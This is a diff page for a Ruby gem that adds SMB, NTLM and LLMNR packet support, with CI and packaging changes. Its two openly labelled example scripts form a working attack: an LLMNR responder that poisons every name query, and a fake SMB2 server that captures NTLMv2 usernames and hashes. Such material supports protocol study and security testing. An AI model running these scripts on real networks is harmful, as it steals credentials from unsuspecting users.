packetgen-plugin-smb 0.3.0 → 0.6.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (57) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/specs.yml +28 -0
  3. data/.rubocop.yml +8 -1
  4. data/Gemfile +15 -3
  5. data/README.md +59 -3
  6. data/Rakefile +10 -4
  7. data/examples/llmnr-responder +110 -0
  8. data/examples/smb-responder +233 -0
  9. data/lib/packetgen-plugin-smb.rb +5 -2
  10. data/lib/packetgen/plugin/gssapi.rb +11 -6
  11. data/lib/packetgen/plugin/llmnr.rb +58 -0
  12. data/lib/packetgen/plugin/netbios.rb +19 -0
  13. data/lib/packetgen/plugin/netbios/datagram.rb +108 -0
  14. data/lib/packetgen/plugin/netbios/name.rb +64 -0
  15. data/lib/packetgen/plugin/netbios/session.rb +72 -0
  16. data/lib/packetgen/plugin/ntlm.rb +211 -0
  17. data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
  18. data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
  19. data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
  20. data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
  21. data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
  22. data/lib/packetgen/plugin/smb.rb +27 -15
  23. data/lib/packetgen/plugin/smb/blocks.rb +2 -4
  24. data/lib/packetgen/plugin/smb/browser.rb +8 -8
  25. data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -7
  26. data/lib/packetgen/plugin/smb/browser/host_announcement.rb +10 -7
  27. data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -7
  28. data/lib/packetgen/plugin/smb/close.rb +2 -2
  29. data/lib/packetgen/plugin/smb/close/request.rb +3 -3
  30. data/lib/packetgen/plugin/smb/close/response.rb +3 -3
  31. data/lib/packetgen/plugin/smb/filetime.rb +30 -3
  32. data/lib/packetgen/plugin/smb/negotiate.rb +20 -0
  33. data/lib/packetgen/plugin/smb/negotiate/dialect.rb +39 -0
  34. data/lib/packetgen/plugin/smb/negotiate/request.rb +35 -0
  35. data/lib/packetgen/plugin/smb/negotiate/response.rb +29 -0
  36. data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
  37. data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +5 -5
  38. data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +3 -3
  39. data/lib/packetgen/plugin/smb/string.rb +60 -23
  40. data/lib/packetgen/plugin/smb/trans.rb +2 -2
  41. data/lib/packetgen/plugin/smb/trans/request.rb +4 -4
  42. data/lib/packetgen/plugin/smb/trans/response.rb +3 -3
  43. data/lib/packetgen/plugin/smb2.rb +20 -9
  44. data/lib/packetgen/plugin/smb2/base.rb +5 -7
  45. data/lib/packetgen/plugin/smb2/error.rb +3 -4
  46. data/lib/packetgen/plugin/smb2/guid.rb +6 -4
  47. data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
  48. data/lib/packetgen/plugin/smb2/negotiate/context.rb +28 -27
  49. data/lib/packetgen/plugin/smb2/negotiate/request.rb +16 -12
  50. data/lib/packetgen/plugin/smb2/negotiate/response.rb +25 -14
  51. data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
  52. data/lib/packetgen/plugin/smb2/session_setup/request.rb +12 -7
  53. data/lib/packetgen/plugin/smb2/session_setup/response.rb +13 -8
  54. data/lib/packetgen/plugin/smb_version.rb +3 -1
  55. data/packetgen-plugin-smb.gemspec +10 -15
  56. metadata +28 -81
  57. data/.travis.yml +0 -12
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: cc233d3dcb94925757db9c4f5dde9647f97cce4d1e73001f3bbbcb41309ed435
4
- data.tar.gz: 50d2ebf353a37d073bae3f6f7458057e4db8a7f2b5c0932094e1820056ab2746
3
+ metadata.gz: 4b63382e5580528b23ba059cd370db53203efec6cd6273388f88b15976b9343d
4
+ data.tar.gz: 425f63395bdc0c38e1288f0690fd8cc51c944645b5fc017e2c6289ba9c54b78d
5
5
  SHA512:
6
- metadata.gz: 5862b573e7b9bba3826f10ef8e1ac8bbb34817e49f93338223ca5fbfcd0ad19cbeb65b64428fc1832c7603fe8a5a5cfc32cb6ac31d63c2e66de4a518ab89de6d
7
- data.tar.gz: bb9a3e27eb4c36e3b6197d6450bef4efd73af1e3a0849c07383ea32924d155e0e21f975f7c91b4092ba70cce3d03cb368f92d38311a1a6585c946b5c1462dae5
6
+ metadata.gz: '08a4a6e817ff3ae8c7c341c6af64722fcdf09331767627adf04c36a6f442dcc6ea7dfb21cd76f2ec3c1f9818b5b3e565806b5391d041130c189de9fc89eacaf6'
7
+ data.tar.gz: b537ad94930b18a5ab93a219a66090384c84f0cfae44426b42304732c0f31e41c9903e9cf8eb41778e82661eb5803d33cdca640104b7a0e5db37df2497320af9
@@ -0,0 +1,28 @@
1
+ name: Specs
2
+ on:
3
+ push:
4
+ branches: [ master ]
5
+ pull_request:
6
+ branches: [ master ]
7
+ jobs:
8
+ test:
9
+ strategy:
10
+ fail-fast: false
11
+ matrix:
12
+ os: [ubuntu-latest]
13
+ ruby: [2.4, 2.5, 2.6, 2.7]
14
+ runs-on: ${{ matrix.os }}
15
+ steps:
16
+ - uses: actions/checkout@v2
17
+ - name: Install dependencies
18
+ run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
19
+ - name: Set up Ruby
20
+ uses: ruby/setup-ruby@v1
21
+ with:
22
+ ruby-version: ${{ matrix.ruby }}
23
+ - name: Run tests
24
+ run: |
25
+ bundle config set path 'vendor/bundle'
26
+ bundle config set --local without noci
27
+ bundle install
28
+ bundle exec rake
@@ -1,4 +1,7 @@
1
- TargetRubyVersion: 2.3
1
+ require:
2
+ - rubocop-performance
3
+ Layout/LineLength:
4
+ Max: 150
2
5
  Layout/SpaceAroundEqualsInParameterDefault:
3
6
  EnforcedStyle: no_space
4
7
  Lint/EmptyWhen:
@@ -7,8 +10,12 @@ Lint/Void:
7
10
  Enabled: false
8
11
  Metrics:
9
12
  Enabled: false
13
+ Style/AccessModifierDeclarations:
14
+ Enabled: false
10
15
  Style/AsciiComments:
11
16
  Enabled: false
17
+ Style/ClassAndModuleChildren:
18
+ Enabled: false
12
19
  Style/Encoding:
13
20
  Enabled: false
14
21
  Style/EvalWithLocation:
data/Gemfile CHANGED
@@ -1,6 +1,18 @@
1
- source 'https://rubygems.org'
1
+ # frozen_string_literal: true
2
2
 
3
- git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
3
+ source 'https://rubygems.org'
4
4
 
5
- # Specify your gem's dependencies in packetgen-plugin-smb.gemspec
6
5
  gemspec
6
+
7
+ gem 'bundler', '>=1.17', '<3'
8
+ gem 'rake', '~> 12.3'
9
+ gem 'rspec', '~> 3.10'
10
+
11
+ group :noci do
12
+ gem 'debase', '~>0.2'
13
+ gem 'rubocop', '~> 1.6.0'
14
+ gem 'rubocop-performance', '~> 1.9'
15
+ gem 'ruby-debug-ide', '~> 0.7'
16
+ gem 'simplecov', '~> 0.18'
17
+ gem 'yard', '~> 0.9'
18
+ end
data/README.md CHANGED
@@ -1,9 +1,26 @@
1
1
  [![Gem Version](https://badge.fury.io/rb/packetgen-plugin-smb.svg)](https://badge.fury.io/rb/packetgen-plugin-smb)
2
- [![Build Status](https://travis-ci.com/sdaubert/packetgen-plugin-smb.svg?branch=master)](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
3
2
 
4
3
  # Packetgen::Plugin::SMB
5
4
 
6
- This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite.
5
+ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
6
+
7
+ * NetBIOS:
8
+ * Datagram service,
9
+ * Session service,
10
+ * SMB:
11
+ * SMB common header,
12
+ * Negotiate command,
13
+ * Close command,
14
+ * NtCreateAndX command,
15
+ * Trans command,
16
+ * Browser subprotocol,
17
+ * SMB2:
18
+ * SMB2 common header (support 2.x and 3.x dialects),
19
+ * Negotiate command,
20
+ * SessionSetup command,
21
+ * GSSAPI, used to transport negotiation over SMB2 commands,
22
+ * NTLM, SMB authentication protocol,
23
+ * LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
7
24
 
8
25
  ## Installation
9
26
 
@@ -23,7 +40,46 @@ Or install it yourself as:
23
40
 
24
41
  ## Usage
25
42
 
26
- TODO
43
+ ### SMB2 with NTLM negociation
44
+
45
+ See [examples/smb-responder](/examples/smb-responder).
46
+
47
+ ### LLMNR
48
+
49
+ LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
50
+
51
+ ```ruby
52
+ require 'socket'
53
+ require 'packetgen'
54
+ require 'packetgen-plugin-smb'
55
+
56
+ LLMNR_MCAST_ADDR = '224.0.0.252'
57
+ LOCAL_IPADDR = 'x.x.x.x' # your IP
58
+
59
+ # Open a UDP socket
60
+ socket = UDPSocket.new
61
+ # Bind it to receive LLMNR response packets
62
+ socket.bind(LOCAL_IPADDR, 0)
63
+
64
+ # Send a LLMNR query
65
+ query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
66
+ query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
67
+ socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
68
+
69
+ # Get answer
70
+ # data = socket.recv(1024)
71
+ data, peer = socket.recvfrom(1024)
72
+ answer = PacketGen.parse(data, first_header: 'LLMNR')
73
+ example_local_ip = answer.llmnr.an.to_a
74
+ .find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
75
+ puts example_local_ip
76
+ ```
77
+
78
+ You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
79
+
80
+ ## See also
81
+
82
+ API documentation: http://www.rubydoc.info/gems/packetgen-plugin-smb
27
83
 
28
84
  ## License
29
85
 
data/Rakefile CHANGED
@@ -1,13 +1,19 @@
1
+ # frozen_string_literal: true
1
2
 
2
3
  require 'bundler/gem_tasks'
3
4
  require 'rspec/core/rake_task'
4
- require 'yard'
5
5
 
6
6
  task default: :spec
7
7
 
8
8
  RSpec::Core::RakeTask.new
9
9
 
10
- YARD::Rake::YardocTask.new do |t|
11
- t.options = ['--no-private']
12
- t.files = ['lib/**/*.rb', '-', 'LICENSE']
10
+ begin
11
+ require 'yard'
12
+
13
+ YARD::Rake::YardocTask.new do |t|
14
+ t.options = ['--no-private']
15
+ t.files = ['lib/**/*.rb', '-', 'LICENSE']
16
+ end
17
+ rescue LoadError
18
+ # no yard, so no yard task
13
19
  end
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a LLMNR responder. It responds to all LLMNR
8
+ # requests on local network, and says requested name is its IP address.
9
+
10
+ # frozen_string_literal: true
11
+
12
+ require 'optparse'
13
+ require 'socket'
14
+ require 'ipaddr'
15
+
16
+ require 'packetgen'
17
+ require 'packetgen-plugin-smb'
18
+
19
+ BIND_ADDR = '0.0.0.0'
20
+
21
+ class LlmnrResponder
22
+ attr_reader :socket, :my_ip, :my_ip_data
23
+
24
+ LLMNR_MCAST_ADDR = '224.0.0.252'
25
+
26
+ def initialize
27
+ @socket = UDPSocket.new
28
+ end
29
+
30
+ def start(bind_addr:, iface:)
31
+ @my_ip = Interfacez.ipv4_address_of(iface)
32
+ @my_ip_data = IPAddr.new(my_ip).hton
33
+ configure_multicast(my_ip_data)
34
+
35
+ socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
36
+
37
+ start_loop
38
+ end
39
+
40
+ private
41
+
42
+ def log(str)
43
+ puts "[LLMNR] #{str}"
44
+ end
45
+
46
+ def configure_multicast(local_ip_bin)
47
+ mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
48
+ socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
49
+ end
50
+
51
+ def start_loop
52
+ loop do
53
+ data, peer = socket.recvfrom(1024)
54
+ pkt = PacketGen.parse(data, first_header: 'LLMNR')
55
+ next unless pkt.is?('LLMNR')
56
+
57
+ peer_port = peer[1]
58
+ peer_ip = peer[3]
59
+ log "received LLMNR request from #{peer_ip}"
60
+
61
+ # Forge LLMNR response
62
+ response_pkt = pkt.reply
63
+ response_pkt.llmnr.qr = true
64
+ response_pkt.llmnr.qd.each do |question|
65
+ next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
66
+
67
+ log "Say to #{peer_ip} #{question.name} is #{my_ip}"
68
+ answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
69
+ response_pkt.llmnr.an << answer
70
+ end
71
+ response_pkt.calc
72
+
73
+ next unless response_pkt.llmnr.ancount > 0
74
+
75
+ socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
76
+ end
77
+ end
78
+ end
79
+
80
+ def parse_options
81
+ options = {}
82
+
83
+ OptionParser.new do |opts|
84
+ opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
85
+ opts.separator ''
86
+ opts.separator 'Options:'
87
+
88
+ opts.on_tail('-h', '--help', 'Show this message') do
89
+ puts opts
90
+ exit
91
+ end
92
+
93
+ opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
94
+ options[:iface] = iface
95
+ end
96
+ end.parse!
97
+
98
+ options
99
+ end
100
+
101
+ def check_options(options)
102
+ raise 'No interface given' if options[:iface].nil?
103
+ raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
104
+ end
105
+
106
+ options = parse_options
107
+
108
+ check_options options
109
+
110
+ LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a SMB responder. It responds to all SMB
8
+ # Negotiate request to capture credentials.
9
+ # Before running it (as root), llmnr-responder should be running.
10
+
11
+ # frozen_string_literal: true
12
+
13
+ require 'socket'
14
+ require 'securerandom'
15
+ require 'ostruct'
16
+
17
+ require 'packetgen'
18
+ require 'packetgen-plugin-smb'
19
+
20
+ BIND_ADDR = '0.0.0.0'
21
+
22
+ DOMAIN_NAME = 'SMB3'
23
+ COMPUTER_NAME = 'WIN-AZE546CFHTD'
24
+
25
+ Thread.abort_on_exception = true
26
+
27
+ Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
28
+ def to_s
29
+ user = self.user.encode('UTF-8')
30
+ computer = self.computer.encode('UTF-8')
31
+ str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
32
+ str << "Challenge: #{challenge}\nProof: #{proof}\n"
33
+ str << "Response: #{response}"
34
+ end
35
+ end
36
+
37
+ class Smb2Responder
38
+ attr_reader :socket, :guid, :salt
39
+
40
+ NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
41
+ STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
42
+ STATUS_ACCESS_DENIED = 0xc0000022
43
+
44
+ SMB2_SIZE = 8_388_608
45
+ SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
46
+ SMB2_SALT_LEN = 32
47
+
48
+ def initialize
49
+ @guid = SecureRandom.uuid
50
+ @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
51
+ end
52
+
53
+ def start(bind_addr:)
54
+ @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
55
+
56
+ start_loop
57
+ end
58
+
59
+ private
60
+
61
+ def log(str)
62
+ puts "[SMB2] #{str}"
63
+ end
64
+
65
+ def get_smb_data(sock)
66
+ PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
67
+ end
68
+
69
+ def smb2_nego_resp1
70
+ return @resp1_pkt if defined? @resp1_pkt
71
+
72
+ @resp1_pkt = PacketGen.gen('NetBIOS::Session')
73
+ .add('SMB2', credit: 1)
74
+ .add('SMB2::Negotiate::Response',
75
+ dialect: 0x2ff,
76
+ server_guid: guid, capabilities: 7,
77
+ max_trans_size: SMB2_SIZE,
78
+ max_read_size: SMB2_SIZE,
79
+ max_write_size: SMB2_SIZE)
80
+ @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
81
+ @resp1_pkt.calc
82
+ @resp1_pkt
83
+ end
84
+
85
+ def first_nego_response
86
+ pkt = smb2_nego_resp1
87
+ pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
88
+ pkt
89
+ end
90
+
91
+ def second_nego_response(req_pkt)
92
+ smb2_req = req_pkt.smb2
93
+ nego_req = req_pkt.smb2_negotiate_request
94
+
95
+ pkt = PacketGen.gen('NetBIOS::Session')
96
+ .add('SMB2',
97
+ credit: 1,
98
+ message_id: smb2_req.message_id,
99
+ reserved: smb2_req.reserved)
100
+ .add('SMB2::Negotiate::Response',
101
+ dialect: nego_req.dialects.last,
102
+ server_guid: guid,
103
+ capabilities: 0x2f,
104
+ max_trans_size: SMB2_SIZE,
105
+ max_read_size: SMB2_SIZE,
106
+ max_write_size: SMB2_SIZE,
107
+ system_time: PacketGen::Plugin::SMB::Filetime.now,
108
+ buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
109
+
110
+ pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
111
+ pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
112
+
113
+ pkt.smb2_negotiate_response.context_list << { type: 2 }
114
+ pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
115
+ pkt.calc
116
+ pkt
117
+ end
118
+
119
+ def first_session_setup_response(req_pkt)
120
+ smb2_req = req_pkt.smb2
121
+ setup_req = req_pkt.smb2_sessionsetup_request
122
+ ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
123
+
124
+ pkt = PacketGen.gen('NetBIOS::Session')
125
+ .add('SMB2',
126
+ credit_charge: 1,
127
+ credit: 1,
128
+ status: STATUS_MORE_PROCESSING_REQUIRED,
129
+ message_id: smb2_req.message_id,
130
+ reserved: smb2_req.reserved)
131
+ .add('SMB2::SessionSetup::Response')
132
+
133
+ ntlm = PacketGen::Plugin::NTLM::Challenge.new
134
+ ntlm.flags = ntlm_nego.flags | 0x00810000
135
+ ntlm.flags &= 0xfdffff15
136
+ ntlm.challenge = [rand(2**64)].pack('q<')
137
+ ntlm.target_name.read('SMB3')
138
+ ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
139
+ ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
140
+ ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
141
+ ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
142
+ ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
143
+ ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
144
+ ntlm.target_info << { type: 'EOL' }
145
+ ntlm.calc_length
146
+
147
+ gssapi = pkt.smb2_sessionsetup_response.buffer
148
+ gssapi[:token_resp][:response].value = ntlm.to_s
149
+ gssapi[:token_resp][:negstate].value = 'accept-incomplete'
150
+ gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
151
+
152
+ pkt.calc
153
+
154
+ [pkt, ntlm.challenge]
155
+ end
156
+
157
+ def deny_access(req_pkt)
158
+ smb2_req = req_pkt.smb2
159
+ pkt = PacketGen.gen('NetBIOS::Session')
160
+ .add('SMB2',
161
+ credit: 1,
162
+ credit_charge: 1,
163
+ status: STATUS_ACCESS_DENIED,
164
+ message_id: smb2_req.message_id,
165
+ reserved: smb2_req.reserved)
166
+ .add('SMB2::SessionSetup::Response')
167
+ # Remove buffer
168
+ pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
169
+ pkt.calc
170
+ pkt
171
+ end
172
+
173
+ def start_loop
174
+ loop do
175
+ client = socket.accept
176
+ to_close = false
177
+
178
+ log "connection from #{client.peeraddr[2]}"
179
+
180
+ credentials = Credentials.new
181
+ credentials.ip = client.peeraddr.last
182
+
183
+ until to_close
184
+ rcv_pkt = get_smb_data(client)
185
+
186
+ pkt_to_send = case rcv_pkt.headers.last.protocol_name
187
+ when 'SMB::Negotiate::Request'
188
+ unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
189
+ to_close = true
190
+ nil
191
+ end
192
+
193
+ first_nego_response
194
+
195
+ when 'SMB2::Negotiate::Request'
196
+ second_nego_response rcv_pkt
197
+
198
+ when 'SMB2::SessionSetup::Request'
199
+ gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
200
+ if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
201
+ pkt, challenge = first_session_setup_response(rcv_pkt)
202
+ credentials.challenge = binary2hex(challenge)
203
+ pkt
204
+ else
205
+ response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
206
+ if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
207
+ credentials.proof = binary2hex(response.nt_response.response)
208
+ credentials.user = response.user_name
209
+ credentials.computer = response.workstation
210
+ credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
211
+ to_close = true
212
+ deny_access rcv_pkt
213
+ else
214
+ to_close = true
215
+ nil
216
+ end
217
+ end
218
+ end
219
+
220
+ client.send(pkt_to_send.to_s, 0) if pkt_to_send
221
+ client.close if to_close
222
+
223
+ puts credentials.to_s unless credentials.response.nil?
224
+ end
225
+ end
226
+ end
227
+
228
+ def binary2hex(str)
229
+ str.unpack('H*').first
230
+ end
231
+ end
232
+
233
+ Smb2Responder.new.start(bind_addr: BIND_ADDR)